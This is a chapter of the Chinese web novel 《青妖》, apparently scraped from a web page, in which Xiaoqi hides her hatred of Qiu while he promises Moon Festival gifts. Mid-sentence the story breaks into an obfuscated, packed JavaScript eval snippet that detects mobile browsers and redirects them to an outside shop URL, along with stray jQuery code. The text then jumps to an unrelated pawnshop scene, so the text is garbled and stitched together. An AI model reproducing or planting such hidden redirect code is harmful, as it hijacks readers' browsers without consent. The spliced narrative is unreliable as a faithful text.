46. 拜月节礼物
作品:《青妖》 晚上,二魂修炼完毕后,像往常那样来到小七的屋子找她玩耍。
因楸的缘故,小七对清辉堂的每个人每样东西甚至是每朵花每株草都感到恶心。
二魂更是如此。
不过,再难受的日子她都熬过来了,现下再多忍一时,又算得了什么呢。
沙华跟窗户进来后便直奔小七身边,低声问道:“小七,你们昨日路上是不是遇袭了?我听说公子受伤了,今日都未检查我们的功课呢。”
小七双手捧着杯子抿了口甜浆,随口应道:“那不是好事儿么?”
曼姝的秀眉一下就皱了起来,立即驳道:“公子受伤了怎么会是好事儿?”
小七心下暗骂自己怎的这样情绪用事,然而面上还是一脸无辜道:“我是说他不检查你们功课是好事儿,沙华你的功课难道完成得很好么?”
沙华心想说的也是,神色略松了些,安抚曼姝道:“算了,公子隔三差五地就要去收拾那些妖怪,受伤也是难免的事,好在有镜花保护他,也不必太担心。”
曼姝见这两人说话没心没肺的,便找了个由头转身离开,行至门口时,却冷不防听见有人敲门,将曼姝吓了一跳。
“小七,我可以进来么?”
是楸的声音。
然而还未等小七答话,曼姝便欢喜地给楸开了门。小七无语地瞥了眼门口,收回视线继续抿着甜浆。
“见过公子!”
“给公子请安!”
见楸进来,曼姝沙华二魂向楸行了个礼。
楸点了点头,径直走到小七身边坐下,略朝她俯身问道:“今日见你胃口不佳,可是有哪里不舒服?”
小七略带嘲意似勾起唇角,腹诽道:与你同桌能吃下饭才怪了。
楸见她今日神情古怪,举止反常,现下又不答自己的话,心里又疑又急,问道:“还是说你有什么心事?”
闻言,正品着甜浆的小七动作一滞,心叫不好,得将情绪收敛起来才行。
于是她眨巴着双眼,咬着唇试图让自己看起来无辜些,“也没什么……就是被昨日那些妖怪给吓着了,他们真的好凶好可怕,我险些以为自己就要死在那里了。”
“不会的。”楸握住她的手,看着她的双眼坚定说道:“有我在不会的。”
小七连忙别过头去,避开他的视线。
倒不是因为他眼里的柔情有多打动人,而是怕在他那番令人作呕的虚情假意下,自己会忍不住戳瞎他的双眼。
当然,小七这番作态,在楸的眼里,只教他觉得她是不信任自己了。
楸松开小七的手,给自己添了杯茶,神情有些黯淡。
确实是自己没护好她。衣水镇的宋文远,蛇妖奇雨,幽冥使阿肆……之前的种种危机险些让她丧了命。
也难怪她心寒,对自己失望。
沙华见这屋里她看他,他看她的,又都一语不发。这情形真教处在这里的沙华感到尴尬,于是她硬着头皮干巴巴地打破沉默:“……公子……你的伤……可好些了?”
“无碍。”
楸轻啜一口茶水,抬眼看着沙华道:“噢!正好你们二人也在这里……”
完了!这是想起来要检查功课了么?
沙华的心都提到了嗓子眼儿,却听得楸说道:“下个月就是拜月节了。往年的拜月节都没送你们礼物,今年的拜月节送你们三人各自一份礼物可好?”
“好,当然好!”沙华的嘴比她脑子反应更快。
当她的脑子还在思考公子是不是伤到脑袋的时候,她的嘴已经将话接下了。
“要什么都可以么?”沙华的嘴又抢在了脑子前面。
楸习惯性想应下,眼角却瞥见沙华眼冒精光,一脸痴相,于是及时将话咽了下去。
沙华最爱搞些稀奇古怪的名堂,可不能随便应下,万一到时候实现不了,可又给她找到由头抱怨了。
楸细细想了下,改口道:“你先说与我听听,若不是过分的要求我自然会应。”
“这个嘛……”我得好好想想了。
沙华摸着下巴思忖起来,公子严起来时是真的严,好起来时也是真的好。可得趁这个机会好好敲他一笔。
《独眼侠客奇闻录》出续作了,不如让公子给我买套珍藏版的吧,镶金边的那种。
不行不行,还不如给我涨月钱,涨了我自己买。涨多少呢?十倍?
天哪!我也太贪心了吧!十倍!公子听了会生气的吧??
不过……公子这么有钱,十倍多吗?去年小七打马吊输那么多钱也没见公子生她气,所以……涨十倍也不算过分吧?
……
楸见沙华在那里托着下巴脸色阴晴不定,于是将视线挪到小七身上,“你呢?想要什么?”
小七直直盯着他银面下的双眼。
我要你死!
对视许久,小七突然咧嘴笑道:“楸哥哥,我想要一把匕首。”
此话一出,一人二魂皆是瞪大眼睛看着她。
小七甜甜笑着,双手在空中比划了下,“鞘上镶满宝石的那种……”
楸见她笑了,唇角也跟着弯起来,“那我直接送你宝石不就好了?或者给你镶在钗裙上,多好看。”
小七敛了些笑意,煞有介事地说道:“楸哥哥,自昨日遇袭后,我总觉着女儿家还是要有些防身的东西才好……”
听她这么说,楸垂下眼眸,羽睫在眼下投射出淡淡的阴影。
他唇角的弧度逐渐消失,良久,才轻轻应了声“好”。
“那那那那……”沙华闻言连忙飘至楸面前,高举着手说道:“那我也要,我要一把剑。”
眼见公子的眉头陡然蹙起,沙华忙抢在他前面开了口:“小七都要匕首了,我要剑很公平啊。我又不用在剑鞘上缀满宝石,我就要一把和镜花那把差不多的就行了。”
楸刚要出声,又被沙华截下。
“清影卫人人都佩刀佩剑,她们有人还有两三把呢。我只要一把,这不算什么过分的要求吧。”
“你尚未化形,如何使剑?清辉堂里自有清影卫护你安危,要剑何用?”
“我提前备着呗。等来日一化形,立即操练起来……”沙华说着脸上挂起讨好的笑容,飘到楸的左手边伏低看着他,“嘿嘿!然后成为一名像镜花那样厉害的清影卫,保护公子!”
楸噗嗤一声笑了,揭穿她道:“你的志向不是成为一名侠客,闯荡江湖么?”
“哎呀不管嘛……”沙华开始耍赖,绕着楸转过去转过来,“清影卫也好侠客也好,都得有自己的兵器啊。是公子你说的要送人家礼物,我向你讨了你又不给。公子这就是赖皮,耍着我们玩儿……”
“是是是,是我有言在先,你这么想要我便送你一把。”
楸无奈妥协,最后又转头看向曼姝:“你想要什么?”
“我……”曼姝低着头,双手掐着自己的裙摆。
其实先前沙华开口的时候她就已经想好了要什么,只是现下公子看着她问起来,她一时有些难为情。
见她忸怩不言,楸心想,虽说曼姝平日里是个端淑娴雅的女儿家,可如今旁的那两个女孩儿都问他讨了刀剑,她该不会也想……
楸出声问道:“你不会也想要把兵器吧?”
“不是不是!!”
曼姝连忙摆手,随后用蚊子般大小的声音说道:“我想要一支楸木簪……”
楸松了口气,将头上那支楸木簪取下,“式样同这支一样的还是……”
小七斜眼看了过去,鼻子轻哼一声后又将视线收了回来。
曼姝红着脸嗫嚅道:“一样的就可以了……”
她其实想说,这支就很好。
楸本想顺手将这支楸木簪赠给她,可转念一想,总归是自己用过的,不大好,于是在曼姝殷切的注视下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951797|190054||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将簪子簪了回去。
……
大月国开元二十八年冬,杨岐山不愿等到来年新年,挑了个黄辰吉日提前举行了登基仪式,改国号东阳,年号淳化。
于是在这一年,结束了大月国的统治。这一年,也成为了东阳国淳化元年。
盘龙镇位于盘龙山阴面的山脚处,因光照不足,初冬的时候要比别的地方格外冷些。
但新王登基的这个冬日,对于盘龙镇的居民来说,却是格外暖和。
这还得多亏镇上那间小当铺的老板。
虽说丰州不是什么富饶的地儿,盘龙镇在丰州的位置更是偏僻,镇上的大多数人一辈子也没踏出过这片土地。
可事实是,不需要那么多人有见识,镇上只要有一两个见过世面的人物就够了。
就好比这个当铺老板。
做典当行生意的,识货是老本行。这位当铺老板虽未见过什么上乘的好东西,可他识货。他识得劣货,自然也就识得好货。
就说那日拿到他铺子里的那块碧玉扳指。他从未见过这样高种水的翡翠,这么正的绿。只一眼,他便确信这碧玉扳指的主人定是某位皇亲国戚。
毕竟黄金万两,难买凝翠一方。
这样的好东西,可还真不是有钱就能买到的。这种玉料,向来都是贡到宫里。
这样价值连城的东西,他这尊小庙可供不起。
怎么收?没法收!
一是东西他给不起价,二是这样贵重的东西,于这乱世中流到了丰州盘龙镇他的铺子。这东西的来由,只怕会给他招来杀身之祸。
这当铺老板明理通透,倒也有几分胆色,并未当场将这烫手山芋退回去,而是借着凑银子的名头,让伙计招呼着来客,自己转身去领了官差来。
别瞧着盘龙镇这地方小,镇上的人不论是官是民都精着呢。那官差听当铺老板一说,竟也当了回事儿,带着他逐级上报。
上头一商量,让这当铺老板拿出银钱哄着当扳指这人,再派官差暗中一路跟随,势必要看看此人究竟是领了谁的差事,替谁跑腿。
当铺老板又激动又惶恐,回到当铺搬出所有的家底儿,生怕出价不够搅黄了这桩事。
好在来人识趣得很,估摸也是想着低调行事,只抽了两张银票就离去了。
当铺老板见换了便装的官差从一旁跟上,连忙让伙计掩了门,自己一屁股跌坐在地上擦汗。
可算是将这桩大事办下了!
当扳指的这人连价都没还一下,并且未将银两悉数带走,这可太有问题了!
当铺老板不敢多想官衙大人许诺他的好处,只盼着这事儿别有什么不好的地方牵连着他就对了。
三日后,那当铺老板听说镇上抓到三名前朝皇裔时吓得差点背过气去,被自己的两个伙计捞起来后,掐了好一会儿人中才醒了过来。
待听说丰州州牧温大人家的公子要亲自下来处理旧朝遗孽以及嘉奖有功之人时,他更是激动得不知所以。
温公子未到,上头赏赐的东西先到了。
盘龙镇上到府衙官吏,下到街边乞丐,人人有赏,举镇同欢。
人们走在街上见谁都要恭贺一声,这场景简直比过年还要喜庆。
更遑论这镇上的“大功臣”了。
这当铺老板的儿子直接得了个州上的美差,这下可好了,短短几日内,这间小当铺的门槛都快被镇上为他家提亲说媒的人给踏破了。
这天降的大喜事儿也不禁让当铺老板感叹,原先大月国在时他们这些平头百姓也没捞着什么好处,本以为王室蒙难后他们要跟着遭殃了,没成想灾祸未来还反倒让他们得了便宜。
所以说,祸国殃民这词,说得并不确切。
当铺老板朝着香案上的菩萨拜个不停,连连庆幸当时他并未贪心那碧玉扳指。
“毕竟这么好的东西,可不是谁都能有福气瞧上一眼呢……”

